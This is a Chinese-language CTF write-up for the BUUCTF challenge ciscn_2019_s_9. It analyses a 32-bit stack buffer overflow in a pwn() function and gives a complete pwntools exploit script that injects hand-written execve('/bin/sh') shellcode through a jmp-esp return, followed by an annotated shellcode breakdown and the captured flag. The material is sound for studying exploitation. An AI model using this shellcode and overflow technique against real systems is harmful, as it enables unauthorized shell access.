[buuctf]ciscn_2019_s_9

30 篇文章 2 订阅

解析

还是先查一下壳,无壳,32位,拖入ida中,查看main函数
在这里插入图片描述
checksec一下,看看开没开什么保护
结果什么保护都没开。
在这里插入图片描述

之后main函数直接返回到了pwn函数,那么直接看pwn函数,发现s存在溢出,可以获取0x32字节,但是栈里面只有0x20

int pwn()
{
  char s[24]; // [esp+8h] [ebp-20h]

  puts("\nHey! ^_^");
  puts("\nIt's nice to meet you");
  puts("\nDo you have anything to tell?");
  puts(">");
  fflush(stdout);
  fgets(s, 50, stdin);
  puts("OK bye~");
  fflush(stdout);
  return 1;
}
-00000028                 db ? ; undefined
-00000027                 db ? ; undefined
-00000026                 db ? ; undefined
-00000025                 db ? ; undefined
-00000024                 db ? ; undefined
-00000023                 db ? ; undefined
-00000022                 db ? ; undefined
-00000021                 db ? ; undefined
-00000020 s               db 24 dup(?)
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)

发现pwntools自带的shell,大小不够,之后我们可以自己写shell来

脚本

from pwn import *
#p = process('./ciscn_s_9')
p = remote('node4.buuoj.cn',27898)
context(os = 'linux',arch = 'i386',log_level = 'debug')
shellcode_s ='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f 
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''
shellcode_s = asm(shellcode_s)
print(shellcode_s)
print(hex(len(shellcode_s)))
payload =shellcode_s.ljust(0x24,b'a') + p32(0x08048554) + asm("sub esp,0x28;call esp")
p.sendlineafter(b">\n",payload)
print(payload)
p.interactive()

这里写的这个脚本要说明一下,正常格式是
eax为0
edx为0
之后是shell
之后ebx指向shell
之后eax给execve函数中断
最后是系统中断
所以按照这个写、shellcode就是

__asm{
xor eax,eax
xor edx,edx
push 0x68732f2f //sh//
push 0x6e69622f //nib/
//到了这里,形成了/bin/sh,因为是在栈内,要反着写
mov ebx,esp
xor eax,eax
mov al,0Bh //execve中断
int 80h //系统中断
}

最后获得flag是flag{9dff76d8-ab56-4d08-8460-33e2b034bc07}

linux上shellcode写法(pwntools,手写shell)

linux上的shellcode写法(pwntools,手写shell)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

逆向萌新

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值